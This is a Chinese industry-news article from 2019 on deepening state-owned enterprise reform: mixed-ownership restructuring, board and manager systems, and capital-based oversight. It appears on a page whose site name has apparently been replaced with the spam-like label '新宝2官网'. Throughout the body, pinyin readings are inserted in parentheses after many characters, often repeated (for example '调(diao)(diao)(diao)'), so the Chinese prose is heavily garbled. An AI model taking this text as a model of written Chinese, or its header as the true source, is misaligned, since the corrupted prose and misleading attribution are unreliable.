新宝2官网

中建网群 | | 公司办公平台(tai) | | |
 
新宝2官网
方程新闻
通知公告
集团新闻
专题专栏
国资动态
行业新闻
图片新闻
产业布局
新宝2官网>> 新宝2官网>>行业新闻
以混改为重点深化国资国企改革
发布日期(qi):2019-04-08 字号:[ ]

  未来(lai)国有(you)企业改(gai)革的思路和重点(dian)是要按照完(wan)善(shan)社会主义市(shi)场经济(ji)体(ti)制的要求,实施(shi)国有(you)经济(ji)战略性(xing)调整,优化国有(you)资本(ben)布局(ju)和结(jie)(jie)构,积(ji)极发展混合所(suo)有(you)制经济(ji),加(jia)快(kuai)完(wan)善(shan)企业法人(ren)治理结(jie)(jie)构,建立(li)健全以管(guan)资本(ben)为主的国资监管(guan)体(ti)制,大幅提高国有(you)资本(ben)运营和监管(guan)效(xiao)率(lv)。

  以(yi)战略性行业为重点优(you)化(hua)国有经济布局和结(jie)构

  第一(yi),加快国有(you)经济布局(ju)和结(jie)构(gou)(gou)的战略(lve)性(xing)调(diao)(diao)(diao)整。制定国有(you)经济布局(ju)结(jie)构(gou)(gou)战略(lve)性(xing)调(diao)(diao)(diao)整规划,明确调(diao)(diao)(diao)整方向和目(mu)标(biao)。继续按照“有(you)进有(you)退(tui)、有(you)所为有(you)所不(bu)为”、“进而有(you)为、退(tui)而有(you)序”的原(yuan)则,沿着竞争(zheng)(zheng)性(xing)行业和战略(lve)性(xing)、垄断性(xing)行业两条线(xian),加快国有(you)经济布局(ju)和结(jie)构(gou)(gou)调(diao)(diao)(diao)整步伐。在(zai)一(yi)般(ban)竞争(zheng)(zheng)性(xing)领域要(yao)退(tui)足(zu)、退(tui)够,为民间投资者“进得来、稳(wen)得住”创造公平竞争(zheng)(zheng)环境。

  在竞(jing)争性(xing)行业(ye),国有(you)经(jing)济要(yao)按照市场(chang)(chang)(chang)化原则,继续适当退出(chu)和(he)收(shou)缩战线,为(wei)民间资本和(he)民营经(jing)济发(fa)(fa)展创造广阔市场(chang)(chang)(chang)空(kong)间,有(you)选择(ze)性(xing)地保留的(de)竞(jing)争性(xing)国有(you)企业(ye)应找准市场(chang)(chang)(chang)定位(wei),做强(qiang)(qiang)核(he)(he)(he)心(xin)(xin)业(ye)务,增强(qiang)(qiang)对核(he)(he)(he)心(xin)(xin)技术和(he)专(zhuan)有(you)技术的(de)研发(fa)(fa)能力,不断提高核(he)(he)(he)心(xin)(xin)业(ye)务的(de)竞(jing)争力,成(cheng)为(wei)带动行业(ye)发(fa)(fa)展的(de)核(he)(he)(he)心(xin)(xin)引(yin)领力量。

  在关(guan)系国家安全和(he)国民经济(ji)命(ming)脉的(de)(de)重(zhong)要行业(ye)(ye)和(he)关(guan)键领(ling)域(yu),在适(shi)度(du)加大国有资(zi)本(ben)投入力(li)度(du)、加强国有经济(ji)控制力(li)的(de)(de)同时(shi),要放宽行业(ye)(ye)准入,引导(dao)社会资(zi)本(ben)、民间资(zi)本(ben)进入,提高相关(guan)行业(ye)(ye)竞(jing)争性业(ye)(ye)务(wu)的(de)(de)市场竞(jing)争程度(du),提高行业(ye)(ye)运行质(zhi)量和(he)效率(lv)。相关(guan)国有企业(ye)(ye)要加快公(gong)司制股份制改(gai)革(ge)步伐(fa),完善公(gong)司治理(li)结构(gou),提高公(gong)司现代化(hua)、规范化(hua)管理(li)水平和(he)企业(ye)(ye)国际竞(jing)争力(li)。

  实(shi)施(shi)国(guo)(guo)有(you)(you)企(qi)业(ye)分类改革,探索(suo)实(shi)行政策(ce)性和竞(jing)争性国(guo)(guo)有(you)(you)企(qi)业(ye)分类管理。推(tui)动具备(bei)(bei)条件(jian)的(de)国(guo)(guo)有(you)(you)大型(xing)企(qi)业(ye)实(shi)现(xian)(xian)整体上(shang)市,不具备(bei)(bei)整体上(shang)市条件(jian)的(de)国(guo)(guo)有(you)(you)大型(xing)企(qi)业(ye)要加快股权多(duo)元化改革,必须保(bao)持国(guo)(guo)有(you)(you)独资的(de)国(guo)(guo)有(you)(you)大型(xing)企(qi)业(ye)要加快公司制(zhi)改革,建立和完善现(xian)(xian)代企(qi)业(ye)制(zhi)度(du),完善国(guo)(guo)有(you)(you)企(qi)业(ye)法人治理结(jie)构。

  第二(er),分类推进(jin)国(guo)(guo)有(you)资(zi)(zi)(zi)(zi)本(ben)(ben)布局优(you)化(hua)(hua)。对(dui)于竞(jing)(jing)争(zheng)性行业(ye)(ye),要(yao)加(jia)大(da)重(zhong)组(zu)整合力度,提高产(chan)业(ye)(ye)集中度,优(you)化(hua)(hua)资(zi)(zi)(zi)(zi)源配置(zhi),加(jia)快企(qi)业(ye)(ye)转型(xing)升(sheng)级,加(jia)快培育发展一批具有(you)较(jiao)强竞(jing)(jing)争(zheng)力的(de)(de)世界一流水平(ping)跨国(guo)(guo)公司。竞(jing)(jing)争(zheng)类企(qi)业(ye)(ye)应主要(yao)根(gen)据资(zi)(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)(zi)收(shou)益,优(you)化(hua)(hua)国(guo)(guo)有(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投向,推动国(guo)(guo)有(you)产(chan)权(quan)流转,淘(tao)汰没有(you)竞(jing)(jing)争(zheng)优(you)势、长期亏损的(de)(de)企(qi)业(ye)(ye),加(jia)快处置(zhi)低效(xiao)(xiao)、无效(xiao)(xiao)及(ji)不(bu)(bu)良(liang)资(zi)(zi)(zi)(zi)产(chan),提高竞(jing)(jing)争(zheng)能力。一般(ban)竞(jing)(jing)争(zheng)性行业(ye)(ye)的(de)(de)国(guo)(guo)有(you)企(qi)业(ye)(ye)不(bu)(bu)作(zuo)为国(guo)(guo)有(you)资(zi)(zi)(zi)(zi)本(ben)(ben)的(de)(de)投资(zi)(zi)(zi)(zi)重(zhong)点(dian)(dian),现有(you)企(qi)业(ye)(ye)依照市场(chang)优(you)胜劣汰的(de)(de)商业(ye)(ye)竞(jing)(jing)争(zheng)规(gui)则进(jin)行市场(chang)公平(ping)竞(jing)(jing)争(zheng),国(guo)(guo)家(jia)(jia)一般(ban)不(bu)(bu)给予特(te)殊政策(ce)或项(xiang)目支持(chi)。重(zhong)要(yao)行业(ye)(ye)和关(guan)键领(ling)域应作(zuo)为国(guo)(guo)有(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)(zi)的(de)(de)重(zhong)点(dian)(dian)方向,根(gen)据不(bu)(bu)同行业(ye)(ye)特(te)点(dian)(dian),加(jia)大(da)国(guo)(guo)有(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投入,支持(chi)其在服务国(guo)(guo)家(jia)(jia)宏观调控、保障(zhang)国(guo)(guo)家(jia)(jia)安全(quan)和国(guo)(guo)民经济运(yun)行、完成政府特(te)定(ding)任务等方面发挥更大(da)作(zuo)用(yong)。

  对基(ji)本(ben)公共服(fu)(fu)(fu)务类(lei)行业,要加(jia)大国有资本(ben)投入,提(ti)高(gao)公共服(fu)(fu)(fu)务的质量和(he)效率,支持其在提(ti)供(gong)公共服(fu)(fu)(fu)务方面作(zuo)出更大贡献。进(jin)(jin)一步突出主(zhu)业,优化(hua)公共服(fu)(fu)(fu)务业务资源配置,增强持续经营能力。加(jia)快优化(hua)国有资本(ben)战(zhan)略布局,按(an)照制造(zao)业、服(fu)(fu)(fu)务业、金融(rong)业、投资类(lei)和(he)科(ke)研类(lei)等不(bu)同(tong)产业类(lei)型进(jin)(jin)行分类(lei)管理和(he)考(kao)核,促进(jin)(jin)国企改革重(zhong)组、国有资本(ben)“有进(jin)(jin)有退”。

  以(yi)建(jian)立法人产权制(zhi)度为核心(xin)加快完善现代(dai)企(qi)业制(zhi)度

  第一,深入推(tui)进(jin)现代(dai)公(gong)司(si)(si)(si)制(zhi)(zhi)(zhi)改(gai)(gai)革(ge)。不论是(shi)商(shang)业(ye)(ye)(ye)类(lei)还是(shi)公(gong)益类(lei)国(guo)有(you)企(qi)(qi)(qi)业(ye)(ye)(ye),其(qi)基(ji)本(ben)属性都是(shi)企(qi)(qi)(qi)业(ye)(ye)(ye),都是(shi)独立(li)的市(shi)场主体,经营(ying)机制(zhi)(zhi)(zhi)都必(bi)须适应市(shi)场经济(ji)的要(yao)(yao)求(qiu)。要(yao)(yao)加快推(tui)进(jin)现代(dai)企(qi)(qi)(qi)业(ye)(ye)(ye)制(zhi)(zhi)(zhi)度建设,按照市(shi)场决定资(zi)(zi)(zi)源配置(zhi)的要(yao)(yao)求(qiu),依(yi)法独立(li)自主开展生产(chan)经营(ying)活(huo)动。竞争类(lei)企(qi)(qi)(qi)业(ye)(ye)(ye)以市(shi)场为导(dao)向,引入社会资(zi)(zi)(zi)本(ben),积极(ji)发展混合(he)所有(you)制(zhi)(zhi)(zhi)经济(ji),促进(jin)企(qi)(qi)(qi)业(ye)(ye)(ye)体制(zhi)(zhi)(zhi)机制(zhi)(zhi)(zhi)创新,打造充满生机活(huo)力的市(shi)场竞争主体。重要(yao)(yao)骨(gu)干企(qi)(qi)(qi)业(ye)(ye)(ye)可(ke)(ke)保持实体(集团)公(gong)司(si)(si)(si)形式,具备条(tiao)件(jian)的可(ke)(ke)改(gai)(gai)组为国(guo)有(you)资(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)公(gong)司(si)(si)(si),其(qi)他企(qi)(qi)(qi)业(ye)(ye)(ye)可(ke)(ke)通过(guo)混合(he)所有(you)制(zhi)(zhi)(zhi)改(gai)(gai)革(ge)或整(zheng)体上市(shi)后由国(guo)有(you)资(zi)(zi)(zi)本(ben)运营(ying)公(gong)司(si)(si)(si)持股。公(gong)益类(lei)国(guo)有(you)企(qi)(qi)(qi)业(ye)(ye)(ye)主要(yao)(yao)采取实体(集团)公(gong)司(si)(si)(si)形式,可(ke)(ke)根据业(ye)(ye)(ye)务特点推(tui)进(jin)所出资(zi)(zi)(zi)企(qi)(qi)(qi)业(ye)(ye)(ye)混合(he)所有(you)制(zhi)(zhi)(zhi)改(gai)(gai)革(ge)。

  积(ji)极推进国(guo)有企(qi)业(ye)整(zheng)体(ti)(ti)上市。进一(yi)步明确政府、国(guo)资监管部(bu)(bu)门(men)及企(qi)业(ye)的(de)任务和(he)责任,统(tong)筹规(gui)划并制定相(xiang)关(guan)配套政策。企(qi)业(ye)根(gen)据国(guo)家战略和(he)实(shi)(shi)际发展需要,在国(guo)资监管部(bu)(bu)门(men)指导下(xia),“一(yi)企(qi)一(yi)策”制定整(zheng)体(ti)(ti)上市的(de)整(zheng)体(ti)(ti)实(shi)(shi)施方案和(he)具体(ti)(ti)的(de)操作细则(ze)。方案实(shi)(shi)施必须重视市场(chang)机(ji)(ji)(ji)制的(de)作用(yong),允许持股(gu)(gu)机(ji)(ji)(ji)构(gou)和(he)企(qi)业(ye)相(xiang)机(ji)(ji)(ji)决策,不(bu)设置具体(ti)(ti)的(de)进度要求(qiu)和(he)强制性的(de)时间(jian)表。通过整(zheng)体(ti)(ti)上市,强化(hua)资本市场(chang)和(he)社会的(de)外部(bu)(bu)监督,优化(hua)企(qi)业(ye)股(gu)(gu)权结构(gou)和(he)治理(li)机(ji)(ji)(ji)制,彻底实(shi)(shi)现国(guo)有企(qi)业(ye)股(gu)(gu)权股(gu)(gu)份化(hua)、多元化(hua),增强国(guo)有控股(gu)(gu)上市公司的(de)激励约(yue)束机(ji)(ji)(ji)制。

  第二(er),进一步加强国(guo)有企(qi)业(ye)董(dong)(dong)事会(hui)建(jian)设。董(dong)(dong)事会(hui)的(de)机(ji)(ji)(ji)(ji)构建(jian)设与机(ji)(ji)(ji)(ji)制建(jian)设相(xiang)辅相(xiang)成,机(ji)(ji)(ji)(ji)构建(jian)设为(wei)机(ji)(ji)(ji)(ji)制建(jian)设创造条件(jian),机(ji)(ji)(ji)(ji)制建(jian)设也带动(dong)机(ji)(ji)(ji)(ji)构的(de)完善。当前国(guo)有企(qi)业(ye)董(dong)(dong)事会(hui)试点在机(ji)(ji)(ji)(ji)构建(jian)设方面进展较快,为(wei)后(hou)续改革打下良(liang)好基(ji)础,但机(ji)(ji)(ji)(ji)制建(jian)设相(xiang)对滞(zhi)后(hou),拖累了国(guo)有企(qi)业(ye)公司治理的(de)完善。下一步董(dong)(dong)事会(hui)建(jian)设应以机(ji)(ji)(ji)(ji)制建(jian)设为(wei)重点,推动(dong)机(ji)(ji)(ji)(ji)构建(jian)设和机(ji)(ji)(ji)(ji)制建(jian)设协同前进。机(ji)(ji)(ji)(ji)制建(jian)设的(de)核(he)心是“落(luo)实权力(li)、理清责任、权责对等”。

  充(chong)分落实董事(shi)会(hui)的权(quan)力。随着(zhe)部分国企董事(shi)会(hui)班子不断(duan)完(wan)善、能(neng)力不断(duan)提(ti)高,国资管理(li)部门可以对这些企业减少行政管理(li)事(shi)项,切实落实董事(shi)会(hui)的权(quan)力。

  完善董(dong)事的(de)(de)追责(ze)和免(mian)责(ze)机(ji)制。国(guo)资管理(li)(li)部(bu)(bu)门(men)可以多种方(fang)式追究(jiu)失(shi)职董(dong)事的(de)(de)责(ze)任,可以通过考(kao)核(he)免(mian)除失(shi)职董(dong)事的(de)(de)职务(wu),并(bing)向社(she)会公示。国(guo)资管理(li)(li)部(bu)(bu)门(men)作为(wei)积极的(de)(de)股东(dong),以管资本(ben)为(wei)主加(jia)强国(guo)有(you)资产(chan)监(jian)管,监(jian)管方(fang)式应从事前(qian)审批向事中(zhong)和事后(hou)监(jian)管转变。

  完(wan)善(shan)重(zhong)大事项的(de)决(jue)策机(ji)制。企(qi)业董事会对(dui)重(zhong)大事项应(ying)遵循“集体(ti)决(jue)策、个(ge)人(ren)担(dan)责”的(de)机(ji)制,避(bi)免(mian)出现“一把(ba)手”决(jue)策或者无人(ren)担(dan)责的(de)现象(xiang)。

  进一(yi)步加强机(ji)构和人才(cai)建设(she)。在借鉴国内外(wai)经验的基础上,进一(yi)步完善董(dong)(dong)事(shi)尤(you)其是外(wai)部董(dong)(dong)事(shi)的选(xuan)拔机(ji)制,完善董(dong)(dong)事(shi)标准,拓宽人才(cai)渠(qu)道。

  第(di)三,深(shen)化国有(you)(you)企(qi)业(ye)(ye)人(ren)事制(zhi)度改革。深(shen)化国有(you)(you)企(qi)业(ye)(ye)领导人(ren)员管理体制(zhi)改革。逐步取消国有(you)(you)企(qi)业(ye)(ye)的(de)行政(zheng)级(ji)别和(he)类行政(zheng)化待遇,建(jian)立由董(dong)事会直接选(xuan)聘、考核与管理经理班子的(de)新机(ji)制(zhi)。按照现代企(qi)业(ye)(ye)制(zhi)度的(de)要求,规范(fan)企(qi)业(ye)(ye)股东会、董(dong)事会、监事会和(he)经营管理层的(de)责权(quan)。完善董(dong)事会制(zhi)度,提高外(wai)部董(dong)事比例,试点外(wai)部董(dong)事担任董(dong)事长。落实董(dong)事会选(xuan)聘、考核、奖(jiang)惩(cheng)经理班子的(de)相关职权(quan),实现企(qi)业(ye)(ye)决策权(quan)与经营权(quan)的(de)分离。

  建(jian)(jian)立健(jian)全职(zhi)业(ye)(ye)(ye)经(jing)理(li)制度。以国企(qi)高管(guan)合同制、年薪(xin)制、任期制和市(shi)(shi)(shi)场(chang)化(hua)(hua)选(xuan)聘作为国企(qi)全面(mian)推行(xing)职(zhi)业(ye)(ye)(ye)经(jing)理(li)人制度的突破口,逐步弱化(hua)(hua)和取消国有企(qi)业(ye)(ye)(ye)及其经(jing)营管(guan)理(li)人员的半行(xing)政化(hua)(hua)身份,推进国有企(qi)业(ye)(ye)(ye)管(guan)理(li)人才市(shi)(shi)(shi)场(chang)化(hua)(hua)改革(ge),建(jian)(jian)立有进有出、能(neng)上能(neng)下的管(guan)理(li)人才流(liu)动和配置机(ji)制。通(tong)过走“市(shi)(shi)(shi)场(chang)化(hua)(hua)”去“行(xing)政化(hua)(hua)”,打造符合现代企(qi)业(ye)(ye)(ye)要求的国企(qi)职(zhi)业(ye)(ye)(ye)经(jing)理(li)人队伍。构建(jian)(jian)职(zhi)业(ye)(ye)(ye)经(jing)理(li)人市(shi)(shi)(shi)场(chang)治理(li)体系,培育统一开放竞争有序的职(zhi)业(ye)(ye)(ye)经(jing)理(li)人市(shi)(shi)(shi)场(chang)。

  加(jia)快完善企(qi)(qi)业人(ren)事和薪(xin)酬激励制度。推进(jin)国(guo)有(you)企(qi)(qi)业人(ren)力资源市场(chang)化改(gai)革,推动国(guo)企(qi)(qi)内部(bu)管(guan)理人(ren)员能上能下、员工(gong)(gong)能进(jin)能出、收入(ru)能增(zeng)能减的(de)制度改(gai)革。国(guo)有(you)企(qi)(qi)业管(guan)理人(ren)员和员工(gong)(gong)原则上都要实(shi)施市场(chang)化择(ze)优(you)选聘,同时要完善激励约束(shu)机制,合理确定(ding)国(guo)企(qi)(qi)干部(bu)职工(gong)(gong)的(de)薪(xin)酬水平和职务待遇。

  以完善治理为中(zhong)心积极推(tui)进(jin)国(guo)企混合所有制改革

  首(shou)先要优化混合所有(you)(you)制(zhi)(zhi)企(qi)(qi)业股(gu)权(quan)结(jie)构(gou)。把优化股(gu)权(quan)结(jie)构(gou)作为混合所有(you)(you)制(zhi)(zhi)改(gai)革(ge)的突(tu)破口,除国(guo)(guo)有(you)(you)资本必须保(bao)持独资、绝(jue)对控股(gu)的特殊国(guo)(guo)有(you)(you)企(qi)(qi)业外,混合所有(you)(you)制(zhi)(zhi)改(gai)革(ge)要突(tu)破“股(gu)比限制(zhi)(zhi)”的思维方式,改(gai)变国(guo)(guo)有(you)(you)股(gu)一股(gu)独大(da)、内部人控制(zhi)(zhi)局面(mian),建立(li)各类股(gu)东利益风险共担、相互制(zhi)(zhi)衡约束的有(you)(you)效(xiao)治理结(jie)构(gou),切实(shi)转变企(qi)(qi)业经营(ying)机制(zhi)(zhi)。

  要加快在(zai)竞争(zheng)性行(xing)业(ye)领域发展混(hun)(hun)合(he)(he)所有(you)(you)制经济(ji),优(you)化股权(quan)结构,着重(zhong)解决国有(you)(you)企(qi)业(ye)股权(quan)比(bi)例过(guo)于(yu)集(ji)中、市场化运行(xing)机制不健全问题。发挥各(ge)类资本取长补短、相互促进作(zuo)用,实现资源的(de)(de)有(you)(you)效配置,推动混(hun)(hun)合(he)(he)所有(you)(you)制企(qi)业(ye)从(cong)追(zhui)求(qiu)形(xing)式(shi)和数量的(de)(de)“粗(cu)放式(shi)”混(hun)(hun)合(he)(he),向更为(wei)重(zhong)视发展内涵(han)和质(zhi)量的(de)(de)“集(ji)约式(shi)”混(hun)(hun)合(he)(he)转变(bian),真正促进国有(you)(you)企(qi)业(ye)体(ti)制机制转换和市场主体(ti)地位形(xing)成。

  国有(you)(you)资本可采取相对(dui)控股(gu)或参股(gu)方式,允许(xu)非公(gong)资本持股(gu)比(bi)例超过(guo)三分之一甚至超过(guo)一半(ban),使出资人真正(zheng)到位,建(jian)立用(yong)手投(tou)票而不(bu)是“用(yong)脚投(tou)票”的(de)(de)机制(zhi),让各类股(gu)东在公(gong)司决策和治(zhi)(zhi)理中都(dou)能发(fa)(fa)挥应有(you)(you)作(zuo)用(yong)。因此,从完善治(zhi)(zhi)理、强化(hua)激(ji)励、激(ji)发(fa)(fa)企业活力目的(de)(de)出发(fa)(fa),必须把优(you)化(hua)股(gu)权结(jie)构(gou)作(zuo)为混合所有(you)(you)制(zhi)改(gai)革(ge)的(de)(de)突破口,积极(ji)引(yin)入各类投(tou)资者,竞(jing)争性领(ling)(ling)域(yu)国有(you)(you)资本持股(gu)比(bi)例不(bu)设(she)(she)下(xia)限,以(yi)市(shi)场为导向鼓励企业兼(jian)并重组,根据国家战略需(xu)要和公(gong)司发(fa)(fa)展实际设(she)(she)置股(gu)权结(jie)构(gou)。探索建(jian)立国有(you)(you)股(gu)东“金(jin)股(gu)”制(zhi)度,通过(guo)约定对(dui)特定事(shi)项的(de)(de)否决权,确保国有(you)(you)资本在特定领(ling)(ling)域(yu)的(de)(de)控制(zhi)力。

  其次,要(yao)(yao)切实(shi)转变混合(he)(he)所有制(zhi)企(qi)业(ye)(ye)(ye)激励约(yue)束机(ji)制(zhi)。混合(he)(he)所有制(zhi)改革不仅仅要(yao)(yao)实(shi)现(xian)投资主体的多元化,重(zhong)点还在于是否实(shi)现(xian)了混合(he)(he)所有制(zhi)企(qi)业(ye)(ye)(ye)内部机(ji)制(zhi)的真正转变,通过融合(he)(he)民营企(qi)业(ye)(ye)(ye)机(ji)制(zhi)灵(ling)活、效率高和(he)(he)国有企(qi)业(ye)(ye)(ye)管理(li)规范的优势,完善治理(li)、强化激励,建立起产权(quan)清晰、权(quan)责明(ming)确(que)、决策民主、管理(li)科学、富有效率的现(xian)代企(qi)业(ye)(ye)(ye)制(zhi)度,提升(sheng)企(qi)业(ye)(ye)(ye)运(yun)行效率和(he)(he)价值创造(zao)能力。

  要(yao)(yao)构建科学的(de)(de)公司(si)治理,设置(zhi)合理的(de)(de)股(gu)权(quan)结(jie)构,既要(yao)(yao)防止出现一股(gu)独大,也(ye)要(yao)(yao)避(bi)免(mian)股(gu)权(quan)过于分散。合理分配各(ge)类(lei)股(gu)东(dong)(dong)在董事会(hui)的(de)(de)席位,充分保障(zhang)各(ge)类(lei)股(gu)东(dong)(dong)特(te)别是非(fei)公有股(gu)东(dong)(dong)的(de)(de)代表性和发言权(quan)。

  坚决(jue)推进国企(qi)(qi)高管(guan)和(he)(he)职工(gong)的(de)身份转(zhuan)(zhuan)化(hua)(hua),推动国有(you)企(qi)(qi)业(ye)(ye)去行政化(hua)(hua),建(jian)立市场(chang)化(hua)(hua)的(de)选(xuan)人用人用工(gong)和(he)(he)分配机制(zhi)。混合所(suo)有(you)制(zhi)企(qi)(qi)业(ye)(ye)的(de)经理(li)人团队应坚持市场(chang)化(hua)(hua)、社会化(hua)(hua)、去行政化(hua)(hua)、去官本位。混合所(suo)有(you)制(zhi)企(qi)(qi)业(ye)(ye)要实行职业(ye)(ye)经理(li)人制(zhi)度(du),通过市场(chang)化(hua)(hua)方式选(xuan)聘经理(li)人,明确将企(qi)(qi)业(ye)(ye)核心(xin)管(guan)理(li)层的(de)身份由类行政事(shi)业(ye)(ye)编(bian)制(zhi)完全转(zhuan)(zhuan)为企(qi)(qi)业(ye)(ye)编(bian)制(zhi),其(qi)任命权真正由组织部门转(zhuan)(zhuan)到企(qi)(qi)业(ye)(ye)的(de)董事(shi)会。给予核心(xin)管(guan)理(li)层阳光持股,使他们的(de)切身利(li)益(yi)和(he)(he)企(qi)(qi)业(ye)(ye)利(li)益(yi)最大程度(du)一致化(hua)(hua),使其(qi)经营(ying)管(guan)理(li)潜(qian)能得(de)到充分释(shi)放。建(jian)立奖惩分明的(de)绩效管(guan)理(li)制(zhi)度(du)和(he)(he)员(yuan)工(gong)激励(li)机制(zhi),调动全体(ti)员(yuan)工(gong)的(de)积极(ji)性。

  最后,要规范有(you)序推进(jin)混(hun)合所(suo)有(you)制改(gai)革。混(hun)合所(suo)有(you)制改(gai)革的实施过程和(he)操作(zuo)细则同样决定着改(gai)革的成(cheng)败(bai)。改(gai)革必须自(zi)上而(er)下(xia)进(jin)行总体规范和(he)设计,并(bing)与(yu)尊重(zhong)基层创新经验相(xiang)结合。

  推进混合所有(you)制(zhi)应履行法律法规明(ming)确的(de)程(cheng)序,完善(shan)国(guo)(guo)有(you)资(zi)产(chan)(chan)评(ping)估定价机制(zhi),进一步优化程(cheng)序,更多通过公开的(de)、全国(guo)(guo)性资(zi)本市场和产(chan)(chan)权股权交(jiao)易(yi)市场,提高资(zi)本市场运行效率,发现企业有(you)形(xing)与无形(xing)资(zi)产(chan)(chan)价格,推动相关(guan)配套制(zhi)度建设和监管改革(ge),从制(zhi)度设计上避免(mian)国(guo)(guo)有(you)资(zi)产(chan)(chan)流失。

  提高国(guo)(guo)企(qi)(qi)(qi)改(gai)(gai)革(ge)(ge)配套(tao)政(zheng)策文件(jian)整(zheng)体性协调性。混(hun)合(he)(he)所(suo)(suo)有制(zhi)改(gai)(gai)革(ge)(ge)要(yao)高度重视协调配套(tao),对相关(guan)配套(tao)文件(jian)进行系统规范(fan)梳理,注重配套(tao)政(zheng)策之间(jian)衔接和(he)(he)(he)前(qian)后出台政(zheng)策的(de)(de)(de)连续和(he)(he)(he)衔接,修改(gai)(gai)不(bu)符合(he)(he)中(zhong)央要(yao)求和(he)(he)(he)混(hun)合(he)(he)所(suo)(suo)有制(zhi)改(gai)(gai)革(ge)(ge)方(fang)向(xiang)的(de)(de)(de)政(zheng)策规定,增(zeng)强国(guo)(guo)企(qi)(qi)(qi)改(gai)(gai)革(ge)(ge)系列(lie)(lie)配套(tao)文件(jian)的(de)(de)(de)整(zheng)体性、协调性。赋予地方(fang)和(he)(he)(he)企(qi)(qi)(qi)业(ye)更(geng)多、更(geng)大改(gai)(gai)革(ge)(ge)自(zi)主(zhu)权(quan)和(he)(he)(he)先行先试的(de)(de)(de)权(quan)力,允许(xu)地方(fang)结(jie)合(he)(he)实际,对系列(lie)(lie)配套(tao)文件(jian)进行综(zong)合(he)(he)、整(zheng)合(he)(he),减少配套(tao)文件(jian)数量,出台地方(fang)国(guo)(guo)企(qi)(qi)(qi)改(gai)(gai)革(ge)(ge)和(he)(he)(he)混(hun)合(he)(he)所(suo)(suo)有制(zhi)改(gai)(gai)革(ge)(ge)综(zong)合(he)(he)性文件(jian),消(xiao)除(chu)众(zhong)多文件(jian)之间(jian)相互掣肘的(de)(de)(de)问题,为国(guo)(guo)有企(qi)(qi)(qi)业(ye)混(hun)合(he)(he)所(suo)(suo)有制(zhi)改(gai)(gai)革(ge)(ge)构建制(zhi)度和(he)(he)(he)政(zheng)策基础。

  出(chu)台针(zhen)(zhen)对(dui)性(xing)的国企混(hun)(hun)合(he)所有(you)制(zhi)改(gai)(gai)革(ge)支持(chi)(chi)政策(ce)。针(zhen)(zhen)对(dui)现有(you)国企改(gai)(gai)革(ge)、混(hun)(hun)合(he)所有(you)制(zhi)改(gai)(gai)革(ge)政策(ce)文件偏向于宏观指导性(xing)、原(yuan)则性(xing)的特征,出(chu)台可操作性(xing)强的配套政策(ce)和(he)具(ju)体支持(chi)(chi)措施,着(zhe)力(li)建(jian)立健(jian)全(quan)激励性(xing)、支持(chi)(chi)性(xing)优惠政策(ce)。在混(hun)(hun)合(he)所有(you)制(zhi)企业(ye)管理(li)层持(chi)(chi)股、国企员(yuan)工身份置换补偿、国有(you)企业(ye)解决社会(hui)(hui)包(bao)袱和(he)历史遗(yi)留问题、混(hun)(hun)合(he)所有(you)制(zhi)改(gai)(gai)革(ge)费用补偿等众多方面出(chu)台针(zhen)(zhen)对(dui)性(xing)优惠政策(ce),以充分调动国有(you)企业(ye)和(he)社会(hui)(hui)资本参与混(hun)(hun)合(he)所有(you)制(zhi)改(gai)(gai)革(ge)的积极性(xing)、主(zhu)动性(xing)。

  建(jian)立鼓励(li)改(gai)(gai)革(ge)(ge)创(chuang)新(xin)的容错(cuo)机制(zhi)形成改(gai)(gai)革(ge)(ge)合力。当(dang)前国资国企改(gai)(gai)革(ge)(ge)正处(chu)(chu)于(yu)攻坚克难的关键阶段(duan),需要(yao)进一(yi)步统一(yi)思想认识(shi),凝聚(ju)改(gai)(gai)革(ge)(ge)共识(shi)。要(yao)加快建(jian)立混改(gai)(gai)容错(cuo)机制(zhi),允许犯(fan)错(cuo)、试错(cuo),对(dui)(dui)于(yu)由于(yu)决策、操作失(shi)误而(er)导致的一(yi)些问题,应(ying)有足够的宽容。对(dui)(dui)于(yu)改(gai)(gai)革(ge)(ge)方向(xiang)正确,没有原则性的失(shi)误和(he)错(cuo)误,应(ying)当(dang)采取包容的态度,鼓励(li)大(da)胆改(gai)(gai)革(ge)(ge)和(he)创(chuang)新(xin)。当(dang)然,对(dui)(dui)于(yu)人为主观谋取私(si)利、暗箱操作行为,要(yao)依法(fa)惩处(chu)(chu),决不姑(gu)息。

  以管(guan)资本为主(zhu)完善国资国企监管(guan)体制

  第(di)一,完善政(zheng)府的国(guo)(guo)(guo)资(zi)监管职(zhi)能。以(yi)管资(zi)本(ben)(ben)(ben)为主(zhu)完善国(guo)(guo)(guo)有资(zi)产监管体(ti)制(zhi),必须正确处理(li)好政(zheng)府与市(shi)场的关系,坚持市(shi)场化改革方向,以(yi)提高(gao)国(guo)(guo)(guo)有资(zi)本(ben)(ben)(ben)的集中度和配(pei)置(zhi)效(xiao)率为核心,以(yi)激发(fa)企业(ye)活力和市(shi)场竞争力为着力点,加(jia)快国(guo)(guo)(guo)有资(zi)产监管职(zhi)能与企业(ye)出资(zi)人职(zhi)能分离,建立“2+X”的国(guo)(guo)(guo)有资(zi)本(ben)(ben)(ben)监管体(ti)制(zhi),加(jia)强政(zheng)府国(guo)(guo)(guo)资(zi)部门和财政(zheng)部门的监管职(zhi)能,建立若干专司国(guo)(guo)(guo)有资(zi)本(ben)(ben)(ben)出资(zi)人职(zhi)能的国(guo)(guo)(guo)有资(zi)本(ben)(ben)(ben)投资(zi)运营公司,进一步推(tui)进政(zheng)企分开、政(zheng)资(zi)分开、所(suo)有权(quan)与经(jing)营权(quan)相分离。

